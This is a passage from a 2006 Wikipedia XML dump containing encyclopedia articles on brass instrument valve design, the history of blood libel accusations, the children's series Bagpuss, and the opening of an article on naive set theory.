In most trumpets, the &quot;compensation&quot; must be provided by extending the third valve slide with the fourth finger to lower the pitch of 1-3 and 1-2-3 combinations.  In instruments with a fourth valve, such as tubas, euphoniums, and piccolo trumpets, that valve lowers the pitch by a perfect fourth; this is used partly to compensate for the sharpness of the final two valve combinations (4 for 1-3, 2-4 for 1-2-3).  Of course, the other three valves can be used as normal to lower the pitch in combination with the fourth valve, so a fourth valve also extends the instrument's range downward by a perfect fourth, though with increasingly severe [[Intonation_%28music%29|intonation]] problems.

When models without any kind of compensation play in the corresponding register, the sharpness becomes so severe that players must finger the note a half-step below the one they are trying to play.  This eliminates the note a half-step above their open fundamental.

To correct for these problems, manufacturers of low brass instruments may choose one or a combination of four basic approaches, whose respective merits are subject to debate:

=== Compensation system ===

Each of the first two (or three) valves has an additional set of tubing extending from the back of the valve. When the third (or fourth) valve is depressed in combination with another one, the air is routed through both the usual set of tubing plus the extra one, so that the pitch is lowered by an appropriate amount.  This allows compensating instruments to play with accurate intonation in the octave below their open second partial, which is critical for tubas and euphoniums in much of their repertoire. 

There are also compensating French horns. While these are popular with beginners as they weigh less, most advanced players disapprove of them, criticizing their sound and response.

=== Additional valves ===

Initially, compensated instruments tended to sound stuffy and blow less freely due to the air being doubled back through the main valves. In early designs, this led to sharp bends in the tubing and other obstructions of the air-flow. Some manufacturers therefore simply added more 'straight' valves instead, which for example could be pitched a little lower than the 2nd and 1st valves and were intended to be used instead of these in the respective valve combinations. While no longer featured in euphoniums for decades, professional tubas are still built like this, with five valves being the norm on CC- and BBb-tubas and five or six valves on F-tubas.

=== Additional sets of slides on each valve ===

Another approach was the addition of two sets of slides for different parts of the range. There used to be euphoniums and tubas built like this, but today, this approach has become highly exotic for all instruments - except [[French horn]]s for which it is the norm, usually in a double, sometimes even triple configuration.

=== Trigger mechanism ===

A mechanical lever is provided to pull out the main tuning slide or a valve slide. This is found as an additional intonation aid on some euphoniums and on many five-valved F-Tubas.

==Sound production in brass instruments==

Because the player of a brass instrument has direct control of the [[prime vibrator]] (the lips), brass instruments exploit the player's ability to select the [[harmonic]] at which the instrument's column of air will vibrate. By making the instrument about twice as long as the equivalent woodwind instrument and starting with the second harmonic, players can get a good range of notes simply by varying the tension of their lips (see [[embouchure]]). Brass players call each harmonic a &quot;partial&quot; because it causes only a part of the tubing to vibrate (whereas at the fundamental the entire tubing will vibrate).

Most brass instruments are fitted with a removable [[mouthpiece]].  Different shapes, sizes and styles of mouthpiece may be used to suit different embouchures, or to more easily produce certain tonal characteristics.  [[Trumpets]] are characteristically fitted with a cupped mouthpiece, while [[horn (instrument)|horns]] are fitted with a conical mouthpiece.

One interesting difference between a [[woodwind instrument]] and a brass instrument is that woodwind instruments are non-directional. This means that the sound produced propagates in all directions with approximately equal volume. Brass instruments, on the other hand, are highly directional, with most of the sound produced traveling straight outward from the bell. This difference makes it significantly more difficult to record a woodwind instrument accurately. It also plays a major role in some performance situations, such as in marching bands.

== See also ==

* [[20th century brass instrumentalists]]
* [[Brass band]]
* [[Concert band]]
* [[Marching band]]
* [[Military band]]
* [[Symphony orchestra]]

== References ==

* Baines, Anthony (1993). ''Brass Instruments: Their History and Development'' (4th ed.). New York: Dover Publications, Inc. ISBN 0-486-27574-4.100lb brass instrument.

== External links ==

* [http://www.civilization.ca/arts/opus/opus901e.html The traditional manufacture of brass instruments], a 1991 video (Real Player format) featuring maker Robert Barclay; from the web site of the [http://www.civilization.ca/indexe.asp Canadian Museum of Civilization].
* [http://www.mti.dmu.ac.uk/~ahugill/manual/brass.html The Orchestra: A User's Manual - Brass]
* [http://www.brass-forum.co.uk/ Brass-Forum.co.uk] UK based brass discussion forum.
* [http://www.brassmusic.ru Brassmusic.Ru — Russian Brass Community]

[[Category:Brass instruments| ]]
[[Category:Wind instruments proper]]

{{Link FA|ja}}
{{Link FA|sr}}

[[da:Messingblæser]]
[[de:Blechblasinstrument]]
[[eo:Latuna blovinstrumento]]
[[fr:Cuivre (musique)]]
[[hr:Limeni puhački instrumenti]]
[[is:Málmblásturshljóðfæri]]
[[it:Ottoni (musica)]]
[[he:כלי נשיפה]]
[[hu:Fúvós hangszerek]]
[[nl:Koperblazer]]
[[ja:金管楽器]]
[[nn:Massingblåseinstrument]]
[[pl:Instrument dęty blaszany]]
[[sl:Trobila]]
[[sr:Лимени дувачки инструменти]]
[[sv:Bleckblåsinstrument]]</text>
    </revision>
  </page>
  <page>
    <title>Blood libel</title>
    <id>4941</id>
    <revision>
      <id>41709371</id>
      <timestamp>2006-03-01T05:23:43Z</timestamp>
      <contributor>
        <username>Tromatic</username>
        <id>69931</id>
      </contributor>
      <comment>/* Contemporary blood libel myths in the West */</comment>
      <text xml:space="preserve">'''Blood libels''' are allegations that a particular group kills people as a form of [[human sacrifice]], and uses their [[blood]] in various [[ritual]]s. The alleged victims are often [[child sacrifice|children]].

[[Jew]]s are the most common target of blood libels, but many other groups have been accused, including [[Christianity|Christian]]s, [[Cathar]]s, [[Knights Templar (military order)|Knights Templar]], [[Witches]], Christian [[heresy|heretics]], [[Roman Catholic Church|Roman Catholic]]s, [[Roma (people)|Roma]], [[Wiccan]]s, [[Druidry|Druid]]s, [[neopagan]]s, [[satanic ritual abuse|Satanists]], and [[Evangelicalism|evangelical]] [[Protestant]] [[missionaries]].

== Blood libel against followers of Ancient Greek religion ==
When the [[Christianization]] of Greece occurred, there was an attempt to portray all sacrifices as blood sacrifices, but contrary to popular Christian myth sacrifices to the Greek gods were typically in the forms of wealth. Human blood sacrifices were exceedingly rare and, in most Greek cities they were illegal. Early Christians spread myths about Christian children being abducted and having their throats slit in various temples. Such myths are similar to the [[blood libel]] accusations against Jews. Human blood sacrifices were seen by the Greek people as barbaric and laws against them were believed to be part of what separated the Greeks from those they considered barbarians, even after Romanization occurred.

== Blood libel against Jews ==
:''Main article'': [[Blood libel against Jews]]

Blood libels against the Jews were a common form of [[anti-semitism]] during the Middle Ages, though there is obviously no ritual involving human blood in Jewish law or custom.  Though the first recorded instance was in the writings of [[Apion]], who claimed that the Jews sacrificed Greek victims in the Temple, there are no existent records of the blood libel against the Jews from that period until the legend surrounding [[William of Norwich]] in the 12th century, but the libel afterward became an increasingly common accusation.  In many cases, anti-Semitic blood libels served as the basis for a ''blood libel cult'', in which the alleged victim of human sacrifice was worshipped as a Christian martyr, but the claim has pre-Christian origins. Many Jews were killed as a result of false blood libels, which continued into the 20th century, with the [[Menahem Mendel Beilis|Beilis Trial]] in Russia and the [[Kielce pogrom]] in Poland, and the persistence of blood libel stories in the Arab world.

== Blood libel against Christians ==
:''Main article'': [[Blood libel against Christians]]

During the [[1st century|first]] and [[2nd century|second]] centuries, some [[Roman Empire|Roman]] commentators misunderstood the ritual of the [[Eucharist]] and related teachings. While celebrating the Eucharist, Christians drink red wine in response to the words &quot;This is the blood of Christ&quot;. [[Propaganda]] arguing that the Christians literally drank blood was written and used to [[persecution of Christians|persecute Christians]]. Romans were highly suspicious of Christian [[adoption]]s of abandoned Roman babies and this was suggested as a possible source of the blood.

In the [[Mandaeanism|Mandaean]] scripture, the [[Ginza Rba]], a purportedly Christian group called the &quot;Minunei&quot; are accused of it against the Jews: &quot;They kill a Jewish child, they take his blood, they cook it in bread and they proffer it to them as food.&quot; (Ginza Rba 9.1).

== Contemporary blood libel myths in the West ==

Accusations of ritual murder are being advanced by different groups to this day. In the United States, this is especially noticeable in certain branches of the anti-[[abortion]] movement, which has produced numerous charges against doctors performing the procedure.{{fact}}

One claim stated that physicians in [[China]] who perform abortions consider the fetus a delicacy and eat it.  The story, reported from [[Hong Kong]] by [[Bruce Gilley]], was investigated by Senator [[Jesse Helms]], and gruesome artwork reminiscent of traditional depictions of blood libel was featured in several anti-abortion campaigns.[http://www.jesus21.com/poppydixon/sex/chinese_eating_fetuses.html]

The only use for human fetal tissue is in the medical research field, particularly [[stem cell research]]. [http://www1.od.nih.gov/oir/sourcebook/oversight/human-tissue-use.htm] [http://www.nesu.mphy.lu.se/nectar/eth.1.html]

Another contemporary blood libel in the United States alleges, falsely, that both neopagans and Satanists use human blood, sexual abuse, or ritual murder, especially of children, in their rituals. Often [[Satanism]], all of the diverse [[neopagan]] religions, the role playing game [[Dungeons and Dragons]], and sometimes Roman Catholicism and liberal or non-fundamentalist Christian denominations, are portrayed as expressions of one monolithic and ancient global conspiracy of Satan-worshippers. [[Mike Warnke]] (''The Satan Seller''), [[Bill Schnoebelen]] (''Wicca: Satan's Little White Lie''), [[Lawrence Pazder]] and [[Michelle Smith (author)|Michelle Smith]] (''[[Michelle Remembers]]''), [[Jon Watkins]] [http://www.exposingsatanism.org/witchcraft.htm], [[John Frattarola]] (''America's Best Kept Secret''), [[Bill Pricer]], and [[Ken Wooden]] (''Child Lures'') are some of the voices of these libels.

In impoverished parts of [[Latin America]], members of the Marxist group [[Shining Path]] tell rural villagers that Americans will kidnap and murder their children.  The purported reasons for these supposed abductions/murders are human sacrifice and organs harvesting.

Many Jewish groups were shocked by the publication in 2003 by the British newspaper [[The Independent]] of a cartoon depicting Ariel Sharon eating a baby. [http://www.somethingjewish.co.uk/articles/627__grotesque__cartoon_.htm] The Israeli government complained to the [[Press Complaints Commission]] that the cartoon alluded to the blood libel of Jews eating Christian children; Dave Brown, the author, responded that the cartoon was in fact inspired by [[Goya]]'s painting ''Saturn Devouring his Son'' and was not anti-Semitic in intent. The PCC accepted Brown's argument, stating &quot;There is nothing inherently anti-semitic about the Goya image or about the myth of Saturn devouring his children, which has been used previously to satirise other politicians accused of sacrificing their own 'children' for political purposes&quot;.[http://www.guardian.co.uk/israel/Story/0,2763,961357,00.html] The cartoon ultimately earned Brown the British [[Political Cartoon Society]]'s Political Cartoon of the Year award.

== The decline of belief in ritual murder ==

Belief in ritual murder has gradually disappeared from mainstream Christianity, and child-martyrs have been purged from the official Catholic calendar of saints.  Nevertheless, similar accusations are still being made by some Muslim groups against the Jews, and the same accusations were defended by [[Nazism]] and related movements in the twentieth century.

== See also ==

*[[List of blood libels against Jews]]
*[[vampirism]]
*[[witch hunt]]
*[[host desecration]]

== External links ==

* [http://www.adl.org/presrele/islme%5F62/3790%5F62.asp Anti-Defamation League condemns Egyptian blood libel]
* [http://www.us-israel.org/jsource/anti-semitism/reaction.html Blood libel in 1840 Syria]
* [http://www.religioustolerance.org/jud_blib1.htm Blood Libel, Host Desecration, and other Myths] (on religioustolerance.org)
* [http://www.independent.co.uk/story.jsp?story=350273 The Independent] -- info on ''Horseman Without a Horse''
* [http://www.snopes.com/religion/blood.htm Blood Feast] Snopes.com Info page
* [http://memri.org/bin/media.cgi?ID=114704 Updated Blood Libel in Mideast Media]
* [http://www.discord.org/~lippard/jetrep.html The JET report on murerous and cannabalistic Satanist allegations in the Broxtowe child abuse case.]

[[he:עלילת דם]]
{{Link FA|he}}

[[Category:Anti-Semitism]]
[[Category:Moral panics]]
[[Category:Hoaxes]]</text>
    </revision>
  </page>
  <page>
    <title>Bagpuss</title>
    <id>4942</id>
    <revision>
      <id>38163634</id>
      <timestamp>2006-02-04T17:04:58Z</timestamp>
      <contributor>
        <username>Pearle</username>
        <id>112114</id>
      </contributor>
      <minor />
      <comment>Changing {{cleanup}} to {{cleanup-date|February 2006}}</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}

'''''Bagpuss''''' was a popular UK [[children's television series]] of the [[1970s]], made by [[Smallfilms]].  It is fondly and widely remembered, despite the fact that only 13 episodes were ever made.
[[Image:bagpuss.jpg|thumb|right|Bagpuss and the mice]]
The program would open with a narrated series of [[sepia tone|sepia]] tinted still photos, showing Emily (played by animator [[Peter Firmin]]'s daughter [[Emily Firmin|Emily]]), a little girl who would find lost and broken things. She would take them home to Bagpuss's shop, and before she went away, she sang a little rhyme to Bagpuss (the most important, beautiful, magical, saggy old cloth [[cat]] in the whole wide world):

:Bagpuss, dear Bagpuss
:Old Fat Furry Catpuss
:Wake up and look at this thing that I bring
:Wake up, be bright, be golden and light
:Bagpuss, oh hear what I sing

And she went away. Then Bagpuss would wake up, with a tremendous yawn, and the program shifted from sepia photographs to colour [[stop motion]], revealing Bagpuss' stripes to be a startling fluorescent pink.  And when Bagpuss woke up, all his friends woke up too, and various toys in the shop came to life: Gabriel the Toad and a [[rag doll]] called Madeleine. The wooden woodpecker bookend became Professor Yaffle, and the mice carved on the side of the mouse organ scurried around. [[Sandra Kerr]] and [[John Faulkner]] provided the voices of Madeleine and Gabriel respectively; all the other voices (including the narrator) were by [[Oliver Postgate]].

The toys would discuss what the new object was; someone (usually Madeleine) would tell a story related to the object (shown in an animated thought bubble over Bagpuss's head), usually with a song, which would be accompanied by Gabriel on the [[banjo]] (which often sounded a lot more like a [[guitar]]), and then the mice, singing in high pitched squeaky harmony as they worked, would mend the broken object.  The new thing would be put in the Shop window, so that whoever had lost it would see it as they went past, and could come in and claim it.

Then Bagpuss would start yawning again, and as he fell asleep the narration returned and all the toys reverted: Professor Yaffle once again became a bookend, the mice turned back to carvings on the Marvellous Mechanical Mouse Organ, and Bagpuss became, once again, just a saggy old cloth cat: baggy, and a bit loose at the seams.

Most of the stories and songs used in the series are based on folk songs and [[fairy tale]]s from around the world.

==Episodes==
The titles of the thirteen episodes each refer in some way to the object Emily found.

* The Ship in a Bottle - &quot;Where would it sail to?&quot;,
* The Owls of Athens - A dirty rag that reveals a picture once cleaned,
* The Frog Princess - assorted jewels, which initially are thought to represent a cat and mouse but which Gabriel decides were the crown jewels of a frog princess,
* The Ballet Shoe - put to inventive use by the mice,
* The Hamish - a tartan pin cushion,
* The Wise Man - a broken figurine of a Chinaman, claimed by Yaffle to be the very wise Ling-Po,
* The Elephant - missing its ears,
* The Mouse Mill - demonstrated by the mice to make chocolate biscuits out of butterbeans and breadcrumbs.  This turns out to be a fraud,
* The Giant - a statuette,
* Old Man's Beard - a tangly plant,
* The Fiddle - which plays itself,
* Flying - a basket which the mice attempt to turn into a flying machine,
* Uncle Feedle - a piece of cloth, decided to be a house for a rag doll.

==External links==
* [http://www.bbc.co.uk/cult/ilove/tv/bagpuss/index.shtml BBC &quot;Cult TV&quot; site for Bagpuss, with video clips]
* [http://www.bbc.co.uk/cult/classic/bagpuss/bagpussdegree.shtml Video clip of Oliver Postgate talking about Bagpuss' degree]
* [http://www.smallfilms.co.uk/bagpuss The Smallfilms Treasury's Bagpuss site]
* [http://www.anorakzone.com/bagpuss Anorak Zone's Bagpuss site]
* [http://www.screenonline.org.uk/tv/id/562331/index.html British Film Institute Screen Online]

[[Category:BBC children's television programmes]]</text>
    </revision>
  </page>
  <page>
    <title>Naive set theory</title>
    <id>4944</id>
    <revision>
      <id>40694266</id>
      <timestamp>2006-02-22T10:09:40Z</timestamp>
      <contributor>
        <username>Reetep</username>
        <id>263488</id>
      </contributor>
      <minor />
      <comment>/* Paradoxes */  No brackets needed. In any case a full stop should appear outside of the bracket.</comment>
      <text xml:space="preserve">In [[abstract mathematics]], '''naive set theory'''{{rf|1|origin}} was the first development of [[set theory]], which was later to be framed more carefully as [[axiomatic set theory]]. Naive set theory is distinguished from axiomatic set theory by the fact that the former relies on an informal understanding of [[set]]s as collections of objects, called the ''elements'' or ''members'' of the set, whereas the latter uses only those facts about sets and membership provable from definite lists of [[axiom]]s (derived from our understanding of collections of objects and their members, but framed with care for various purposes, including but not limited to avoiding the known [[paradoxes]]). Sets are of great importance in [[mathematics]]; in fact, in modern formal treatments, most mathematical objects ([[number]]s, [[relation (mathematics)|relation]]s, [[function (mathematics)|function]]s, etc.) are defined in terms of sets.

==Introduction==

Naive set theory was created at the end of the [[19th century]] by [[Georg Cantor]] in order to allow mathematicians to work with [[infinite set]]s consistently.

As it turned out, assuming that one could perform any operations on sets without restriction led to [[paradox]]es such as [[Russell's paradox]].  In response, [[axiomatic set theory]] was developed to determine precisely what operations were allowed and when.  Today, when mathematicians talk about &quot;set theory&quot; as a field, they usually mean axiomatic set theory.  Informal applications of set theory in other fields are sometimes referred to as applications of &quot;naive set theory&quot;, but usually are understood to be justifiable in terms of an [[axiomatic system]] (normally [[ZFC]]).

It is important to note that some believe that [[Georg Cantor]]'s set theory was not actually implicated in the [[paradox]]es (this is a matter which continues to be discussed).  He was aware of some of them and did not appear to believe that they discredited his theory.  It is hard to be sure of this because he did not give an axiomatization.  [[Frege]] did explicitly axiomatize a theory, in which the formalized version of [[naive set theory]] can be interpreted, and it is this formal theory which [[Bertrand Russell]] actually addressed when he presented [[Russell's paradox]].

It is useful to study sets naively in order to develop facility for working with them.  Furthermore, a firm grasp of set theoretical concepts from a naive standpoint  is important as a first stage in understanding the motivation for the formal axioms of set theory.

This article develops the naive theory. Sets are defined informally and a few of their properties are investigated.  Links in this article to specific axioms of set theory point out some of the relationships between the informal discussion here and the formal [[axiomatization]] of set theory, but no attempt is made to justify every statement on such a basis.

The term &quot;naive set theory&quot; does not always refer to the inconsistent theory of Frege.  It can refer to the usual set theory presented informally, as in the case of Halmos's well-known book ''Naive Set Theory'', which is actually a somewhat (and not all that) informal presentation of the usual axiomatic set theory [[ZFC]].

== Sets, membership and equality ==

In naive set theory, a '''set''' is described as a well-defined collection of objects. These objects are called the '''elements''' or '''members''' of the set. Objects can be anything: numbers, people, other sets, etc. For instance, 4 is a member of the set of all even [[integer]]s. Clearly, the set of even numbers is infinitely large; there is no requirement that a set be finite.

If ''x'' is a member of ''A'', then it is also said that ''x'' '''belongs to''' ''A'', or that ''x'' is in ''A''. In this case, we write ''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A''.
(The symbol &quot;&lt;math&gt;\in&lt;/math&gt;&quot; is a derivation from the [[Greek alphabet|Greek letter]] [[epsilon]], &quot;&amp;epsilon;&quot;, introduced by [[Peano]] in 1888.)
The symbol &lt;math&gt;\notin&lt;/math&gt; is sometimes used to write ''x''&amp;nbsp;&amp;notin;&amp;nbsp;''A'', or &quot;x is not in A&quot;.

Two sets ''A'' and ''B'' are defined to be '''[[Equality (mathematics)|equal]]''' when they have precisely the same elements, that is, if every element of ''A'' is an element of ''B'' and every element of ''B'' is an element of ''A''. (See [[axiom of extensionality]].) Thus a set is completely determined by its elements; the description is immaterial. For example, the set with elements 2, 3, and 5 is equal to the set of all [[prime number]]s less than 6.
If ''A'' and ''B'' are equal, then this is denoted symbolically as ''A''&amp;nbsp;=&amp;nbsp;''B'' (as usual).

We also allow for an '''[[empty set]]''', often denoted &lt;math&gt;\varnothing&lt;/math&gt;: a set without any members at all.
Since a set is determined completely by its elements, there can only be one empty set. (See [[axiom of empty set]].)

== Specifying sets ==

The simplest way to describe a set is to list its elements between curly braces.
Thus {1,2} denotes the set whose only elements are 1 and 2.
(See [[axiom of pairing]].)
Note the following points:
*Order of elements is immaterial; for example, {1,2} = {2,1}.
*Repetition ([[multiplicity]]) of elements is irrelevant; for example, {1,2,2} = {1,1,1,2} = {1,2}.
(These are consequences of the definition of equality in the previous section.)

This notation can be informally abused by saying something like {dogs} to indicate the set of all dogs, but this example would usually be read by mathematicians as &quot;the set containing the single element ''dogs''&quot;.

An extreme (but correct) example of this notation is {}, which denotes the empty set.

We can also use the notation {''x''&amp;nbsp;:&amp;nbsp;''P''(''x'')} (or sometimes {''x''&amp;nbsp;|&amp;nbsp;''P''(''x'')}) to denote the set containing all objects for which the condition ''P'' holds.
For example, {''x''&amp;nbsp;: ''x''&amp;nbsp;is a real number} denotes the set of [[real number]]s, {''x''&amp;nbsp;: ''x''&amp;nbsp;has blonde hair} denotes the set of everything with blonde hair, and {''x''&amp;nbsp;: ''x''&amp;nbsp;is a dog} denotes the set of all dogs.

This notation is called [[set-builder notation]] (or &quot;'''set comprehension'''&quot;, particularly in the context of [[Functional programming]]).
Some variants of set builder notation are:
*{''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A''&amp;nbsp;: ''P''(''x'')} denotes the set of all ''x'' ''that are already members of A'' such that the condition ''P'' holds for ''x''. For example, if '''Z''' is the set of [[integer]]s, then {''x''&amp;nbsp;&amp;isin;&amp;nbsp;'''Z'''&amp;nbsp;: ''x''&amp;nbsp;is&amp;nbsp;even} is the set of all [[even]] integers. (See [[axiom of specification]].)
*{''F''(''x'')&amp;nbsp;: ''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A''} denotes the set of all objects obtained by putting members of the set ''A'' into the formula ''F''. For example,  {2''x''&amp;nbsp;: ''x''&amp;nbsp;&amp;isin;&amp;nbsp;'''Z'''} is again the set of all even integers. (See [[axiom of replacement]].)
*{''F''(''x'')&amp;nbsp;: ''P''(''x'')} is the most general form of set builder notation. For example, {''x'''s&amp;nbsp;owner&amp;nbsp;: ''x''&amp;nbsp;is a dog} is the set of all dog owners.

== Subsets ==

Given two sets ''A'' and ''B'' we say that ''A'' is a '''[[subset]]''' of ''B'' if every element of ''A'' is also an element of ''B''.
Notice that in particular, ''B'' is a subset of itself; a subset of ''B'' that isn't equal to ''B'' is called a '''proper subset'''.

If ''A'' is a subset of ''B'', then one can also say that ''B'' is a '''superset''' of ''A'', that ''A'' is '''contained in''' ''B'', or that ''B'' '''contains''' ''A''.
In symbols, ''A''&amp;nbsp;&amp;sube;&amp;nbsp;''B'' means that ''A'' is a subset of ''B'', and ''B''&amp;nbsp;&amp;supe;&amp;nbsp;''A'' means that ''B'' is a superset of ''A''.
Some authors use the symbols &quot;&amp;sub;&quot; and &quot;&amp;sup;&quot; for subsets, and others use these symbols only for ''proper'' subsets.
In this encyclopedia, &quot;&amp;sube;&quot; and &quot;&amp;supe;&quot; are used for subsets while &quot;&amp;sub;&quot; and &quot;&amp;sup;&quot; are reserved for proper subsets.

As an illustration, let ''A'' be the set of real numbers, let ''B'' be the set of integers, let ''C'' be the set of odd integers, and let ''D'' be the set of current or former [[President of the United States|U.S. Presidents]].
Then ''C'' is a subset of ''B'', ''B'' is a subset of ''A'', and ''C'' is a subset of ''A''.
Note that not all sets are comparable in this way.
For example, it is not the case either that ''A'' is a subset of ''D'' nor that ''D'' is a subset of ''A''.

It follows immediately from the definition of equality of sets above, that given two sets ''A'' and ''B'', ''A'' = ''B'' [[iff]] ''A''&amp;nbsp;&amp;sube;&amp;nbsp;''B'' and ''B''&amp;nbsp;&amp;sube;&amp;nbsp;''A''. In fact this is often given as the definition of equality.

The set of all subsets of a given set ''A'' is called the '''[[power set]]''' of ''A'' and is denoted by &lt;math&gt;2^A&lt;/math&gt; or &lt;math&gt;P(A)&lt;/math&gt;. If the set ''A'' has n elements, then &lt;math&gt;P(A)&lt;/math&gt; will have &lt;math&gt;2^n&lt;/math&gt; elements. Note that the [[empty set]] is a subset of every set.

== Universal sets and absolute complements ==

In certain contexts we may consider all sets under consideration as being subsets of some given [[universe (mathematics)|universal set]].
For instance, if we are investigating properties of the [[real number]]s '''R''' (and subsets of '''R'''), then we may take '''R''' as our universal set. It is important to realise that a universal set is only temporarily defined by the context; there is no such thing as a &quot;universal&quot; universal set, &quot;the set of everything&quot; (see '''[[#Paradoxes|Paradoxes]]''' below).

Given a universal set '''U''' and a subset ''A'' of '''U''', we may define the '''[[complement (set theory)|complement]]''' of ''A'' (in '''U''') as
:''A''&lt;sup&gt;C&lt;/sup&gt;&amp;nbsp;:= {''x''&amp;nbsp;&amp;isin;&amp;nbsp;'''U'''&amp;nbsp;: &amp;not;(''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A'')},
where &amp;not; is the logical [[Negation|not]] operator. In other words, ''A''&lt;sup&gt;C&lt;/sup&gt; (sometimes simply ''A''' ) is the set of all members of '''U''' which are not members of ''A''.
Thus with ''A'', ''B'' and ''C'' defined as in the section on subsets, if ''B'' is the universal set, then ''C' ''is the set of even integers, while if ''A'' is the universal set, then ''C' ''is the set of all real numbers that are either even integers or not integers at all.

The collection {''A''&amp;nbsp;:&amp;nbsp;''A''&amp;nbsp;&amp;sube;&amp;nbsp;'''U'''} of all subsets of a given universe '''U''' is called the '''[[power set]]''' of '''U'''.
(See [[axiom of power set]].)
It is denoted ''P''('''U'''); the &quot;''P''&quot; is sometimes in a fancy font.

== Unions, intersections, and relative complements ==

Given two sets ''A'' and ''B'', we may construct their '''[[union (set theory)|union]]'''.
This is the set consisting of all objects which are elements of ''A'' or of ''B'' or of both (see [[axiom of union]]). It is denoted by ''A''&amp;nbsp;&amp;cup;&amp;nbsp;''B''.

The '''[[intersection (set theory)|intersection]]''' of ''A'' and ''B'' is the set of all objects which are both in ''A'' and in ''B''. It is denoted by ''A''&amp;nbsp;&amp;cap;&amp;nbsp;''B''.

Finally, the '''[[complement (set theory)|relative complement]]''' of ''B'' relative to ''A'', also known as the '''set theoretic difference''' of ''A'' and ''B'', is the set of all objects that belong to ''A'' but ''not'' to ''B''. It is written as ''A''&amp;nbsp;\&amp;nbsp;''B'' or ''A''&amp;nbsp;&amp;minus;&amp;nbsp;''B''.
Symbolically, these are respectively
:''A''&amp;nbsp;&amp;cup;&amp;nbsp;B&amp;nbsp;:= {''x''&amp;nbsp;: (''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A'')&amp;nbsp;[[logical disjunction|or]] (''x''&amp;nbsp;&amp;isin;&amp;nbsp;''B'')};
:''A''&amp;nbsp;&amp;cap;&amp;nbsp;''B''&amp;nbsp;:= {''x''&amp;nbsp;: (''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A'')&amp;nbsp;[[logical conjunction|and]] (''x''&amp;nbsp;&amp;isin;&amp;nbsp;''B'')}&amp;nbsp;= {''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A''&amp;nbsp;: ''x''&amp;nbsp;&amp;isin;&amp;nbsp;''B''}&amp;nbsp;= {''x''&amp;nbsp;&amp;isin;&amp;nbsp;''B''&amp;nbsp;: ''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A''};
:''A''&amp;nbsp;\&amp;nbsp;''B''&amp;nbsp;:= {''x''&amp;nbsp;: (''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A'')&amp;nbsp;and&amp;nbsp;[[negation|not]] (''x''&amp;nbsp;&amp;isin;&amp;nbsp;''B'') }&amp;nbsp;= {''x''&amp;nbsp;&amp;isin;&amp;nbsp;''A''&amp;nbsp;: not (''x''&amp;nbsp;&amp;isin;&amp;nbsp;''B'')}.

Notice that ''A'' doesn't have to be a subset of ''B'' for ''B''&amp;nbsp;\&amp;nbsp;''A'' to make sense; this is the difference between the relative complement and the absolute complement from the previous section.

To illustrate these ideas, let ''A'' be the set of left-handed people, and let ''B'' be the set of people with blond hair.
Then ''A''&amp;nbsp;&amp;cap;&amp;nbsp;''B'' is the set of all left-handed blond-haired people, while ''A''&amp;nbsp;&amp;cup;&amp;nbsp;''B'' is the set of all people who are left-handed or blond-haired or both.
''A''&amp;nbsp;\&amp;nbsp;''B'', on the other hand, is the set of all people that are left-handed but not blond-haired, while ''B''&amp;nbsp;\&amp;nbsp;''A'' is the set of all people that have blond hair but aren't left-handed.

Now let ''E'' be the set of all human beings, and let ''F'' be the set of all living things over 1000 years old.
What is ''E''&amp;nbsp;&amp;cap;&amp;nbsp;''F'' in this case?
No human being is over 1000 years old, so ''E''&amp;nbsp;&amp;cap;&amp;nbsp;''F'' must be the [[empty set]] {}.

For any set ''A'', the power set &lt;math&gt;P(A)&lt;/math&gt; is a [[Boolean algebra]] under the operations of union and intersection.

==Ordered pairs and Cartesian products ==
Intuitively, an '''[[ordered pair]]''' is simply a collection of two objects such that one can be distinguished as the ''first element'' and the other as the ''second element'', and having the fundamental property that, two ordered pairs are equal if and only if their ''first elements'' are equal and their ''second elements'' are equal.

Formally, an ordered pair with '''first coordinate''' ''a'', and '''second coordinate''' ''b'', usually denoted by (''a'', ''b''), is defined as the set {{''a''},&amp;nbsp;{''a'', ''b''}}.

It follows that, two ordered pairs (''a'',''b'') and (''c'',''d'') are equal if and only if ''a''&amp;nbsp;=&amp;nbsp;''c'' and ''b''&amp;nbsp;=&amp;nbsp;''d''.

Alternatively, an ordered pair can be formally thought of as a set {a,b} with a [[total order]].

(The notation (a, b) is also used to denote an [[open interval]] on the [[real number line]], but the context should make it clear which meaning is intended.)

If ''A'' and ''B'' are sets, then the '''[[Cartesian product]]''' (or simply '''product''') is defined to be:
:''A''&amp;nbsp;&amp;times; ''B''&amp;nbsp;= {(''a'',''b'')&amp;nbsp;: ''a'' is in ''A'' and ''b'' is in ''B''}.
That is, ''A''&amp;nbsp;&amp;times;&amp;nbsp;''B'' is the set of all ordered pairs whose first coordinate is an element of ''A'' and whose second coordinate is an element of ''B''.

We can extend this definition to a set ''A''&amp;nbsp;&amp;times;&amp;nbsp;''B''&amp;nbsp;&amp;times;&amp;nbsp;''C'' of ordered triples, and more generally to sets of ordered [[n-tuple]]s for any positive integer ''n''.
It is even possible to define infinite [[Cartesian product]]s, but to do this we need a more recondite definition of the product.

Cartesian products were first developed by [[René Descartes]] in the context of [[analytic geometry]].
If '''R''' denotes the set of all [[real number]]s, then '''R'''&lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;:=&amp;nbsp;'''R'''&amp;nbsp;&amp;times;&amp;nbsp;'''R''' represents the [[Euclidean plane]] and '''R'''&lt;sup&gt;3&lt;/sup&gt;&amp;nbsp;:=&amp;nbsp;'''R'''&amp;nbsp;&amp;times;&amp;nbsp;'''R'''&amp;nbsp;&amp;times;&amp;nbsp;'''R''' represents three-dimensional [[Euclidean space]].

==Some important sets ==

&lt;small&gt;Note: In this section, ''a'', ''b'', and ''c'' are [[natural number]]s, and r and s are [[real number]]s.&lt;/small&gt;
# [[Natural number]]s are used for counting.  A [[blackboard bold]] capital '''N''' (&lt;math&gt;\mathbb{N}&lt;/math&gt;) often represents this set.
